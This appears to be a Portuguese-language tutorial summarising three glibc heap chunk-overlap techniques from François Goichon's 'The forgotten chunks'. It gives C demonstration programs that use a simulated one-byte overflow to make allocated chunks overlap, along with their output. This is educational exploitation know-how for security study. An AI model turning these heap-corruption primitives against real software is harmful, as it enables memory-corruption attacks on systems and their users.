The Forgotten Chunks
Glibc Adventures: The forgotten chunks é o título de um livro escrito por François Goichon, que pode ser acessado por meio de um repositório disponibilizado por bash-c.
Exploits
O livro detalha três exploits relacionados à heap: Extending Free Chunks
, Extending Allocated Chunks
, e Shrinking Free Chunks
. Apesar de suas diferenças, esses três métodos resultam praticamente no mesmo objetivo: um chunk alocado dentro de outro também alocado.
Importante: O livro também apresenta exemplos do mundo real e provas de conceito que não serão demonstradas aqui.
Extending Free Chunks
Esse é o método mais simples para causar a sobreposição de chunks. Ele requer pelo menos 3 chunks adjacentes, a
, b
, e c
, sendo que pelo menos um deles deve ser vulnerável a algum tipo de overflow.

Uma vez com os 3 chunks alocados, conforme mostrado na imagem acima, o próximo passo é liberar o chunk do meio (b
) e, em seguida, sobrescrever seus metadados. Isso envolve alterar pelo menos um byte do campo size do chunk, aumentando o tamanho registrado.

Agora, ao alocar um novo chunk com o tamanho anterior (deve ser do tamanho anterior porque o chunk está na tcache bin), o gerenciador de memória retornará o chunk do meio junto com o chunk do final (c
) e parte do espaço adjacente. Isso ocorre porque a função malloc()
não verifica se o chunk liberado é consistente com o campo prev_size do próximo chunk.

#include <stdio.h>
#include <stdlib.h>
int main(){
char *A = (char *)malloc(0x100 - 8);
char *B = (char *)malloc(0x100 - 8);
char *C = (char *)malloc(0x80 - 8);
size_t old_size = *(size_t *)(B - 8);
size_t new_size;
printf("\nChunk C: %p -> %p", C, C + 0x80 - 8);
// Liberando o chunk B.
free(B);
// Modificando o tamanho dele por meio de um overflow.
// O tamanho do chunk B é 0x100, e com o overflow de 1 byte, ele passará a ser 0x180.
A[0x100 - 8] = 0x81;
//Alocando novamente o chunk.
B = (char *)malloc(0x100 - 8);
// Comparando tamanhos e endereços.
new_size = *(size_t *)(B - 8);
printf("\nTamanho chunk B: %lx -> %lx", old_size & ~0b111, new_size & ~0b111); // ~0b111 significa que não queremos saber o valor com os bits NMP.
printf("\nChunk B: %p -> %p", B, B + 0x100 + 0x80 - 8);
// Representação.
printf("\nPor endereços: %p -> | %p %p | -> %p", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
printf("\nPor valores: %u -> | %u %u | -> %u", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
free(A);
free(B);
free(C);
}
└─$ ./extending-free-chunks
Chunk C: 0x55a85770a4a0 -> 0x55a85770a518
Tamanho chunk B: 100 -> 180
Chunk B: 0x55a85770a3a0 -> 0x55a85770a518
Por endereços: 0x55a85770a3a0 -> | 0x55a85770a4a0 0x55a85770a518 | -> 0x55a85770a518
Por valores: 1466999712 -> | 1466999968 1467000088 | -> 1467000088
Extending Allocated Chunks
Esta técnica é semelhante à anterior, mas aqui exploramos o fato de que a função free()
não verifica se o tamanho do chunk a ser liberado é consistente com o que foi alocado. O único local onde o tamanho do chunk é armazenado é no próprio campo size do chunk.
Assim como antes, precisamos de 3 chunks adjacentes, a
, b
e c
, sendo necessário que pelo menos um deles seja vulnerável a algum tipo de overflow.

Neste método, usamos um overflow para sobrescrever o campo size do chunk do meio (b
) com um valor maior do que o tamanho real do chunk. Após isso, liberamos o chunk b
e o alocamos novamente, especificando o tamanho alterado. Como resultado, o chunk final (c
) será alocado dentro do chunk b
.

#include <stdio.h>
#include <stdlib.h>
int main(){
char *A = (char *)malloc(0x100 - 8);
char *B = (char *)malloc(0x100 - 8);
char *C = (char *)malloc(0x80 - 8);
size_t old_size = *(size_t *)(B - 8);
size_t new_size;
printf("\nChunk C: %p -> %p", C, C + 0x80 - 8);
// Modificando o tamanho do chunk B por meio de um overflow.
// O tamanho do chunk B é 0x100, e com o overflow de 1 byte, ele passará a ser 0x180.
A[0x100 - 8] = 0x81;
// Comparando tamanhos.
new_size = *(size_t *)(B - 8);
printf("\nTamanho chunk B: %lx -> %lx", old_size & ~0b111, new_size & ~0b111); // ~0b111 significa que não queremos saber o valor com os bits NMP.
// Liberando o chunk B.
free(B);
//Alocando novamente o chunk o tamanho de B + C.
B = (char *)malloc(0x100 + 0x80 - 8);
// Comparando endereços.
printf("\nChunk B: %p -> %p", B, B + 0x100 + 0x80 - 8);
// Representação.
printf("\nPor endereços: %p -> | %p %p | -> %p", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
printf("\nPor valores: %u -> | %u %u | -> %u", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
free(A);
free(B);
free(C);
}
└─$ ./extending-allocated-chunks
Chunk C: 0x55b34c4da4a0 -> 0x55b34c4da518
Tamanho chunk B: 100 -> 180
Chunk B: 0x55b34c4da3a0 -> 0x55b34c4da518
Por endereços: 0x55b34c4da3a0 -> | 0x55b34c4da4a0 0x55b34c4da518 | -> 0x55b34c4da518
Por valores: 1280156576 -> | 1280156832 1280156952 | -> 1280156952
Shrinking Free Chunks
Esse método, diferentemente dos anteriores, envolve a redução do tamanho de um chunk em vez de aumentá-lo. Por ser mais complexo, ele exige um entendimento detalhado de como o gerenciador de heap funciona.
Assim como antes, precisamos de 3 chunks adjacentes, a
, b
e c
, sendo que um deles deve ser vulnerável a um overflow.
Importante: O overflow neste caso não serve para liberar ou alocar um chunk maior, mas sim para enganar o último chunk (c
). Isso é possível porque os chunks contêm o campo prev_size, que armazena informações sobre o estado do chunk anterior (se está alocado ou livre). Ao reduzir o tamanho do chunk do meio (b
), o campo prev_size do chunk final (c
) não será atualizado corretamente, fazendo com que o gerenciador de memória acredite que o chunk do meio ainda está livre.

Uma vez com os chunks configurados, liberamos o chunk do meio (b
), e, em seguida, usamos um overflow para alterar o seu tamanho.

Depois, alocamos dois novos chunks, b1
e b2
, que devem ser menores que o chunk original b
. Isso faz com que b1
ocupe o início do espaço de b
, enquanto b2
ocupa o espaço seguinte. Após isso, liberamos b1
.

Por fim, liberamos o chunk final (c
) para que ele se junte ao chunk do meio (b
). Como o campo prev_size de c
não foi atualizado, o gerenciador de memória acredita que b
ainda é o chunk original. Por último, alocamos um chunk maior que abrange o espaço de c
, causando a sobreposição.

Importante: Os outros exploits são possíveis de serem realizados nas versões recentes da libc, pois não dependem de coalescência. No entanto, este exploit depende, e nas versões mais recentes da libc, a tcache bin impede que coalescências ocorram dentro dela. Se a tcache for preenchida, o chunk será movido para a unsorted bin, que detecta modificações no campo size.
Portanto, este exploit tende a ser ainda mais difícil de realizar nas versões atuais.
Referências
Atualizado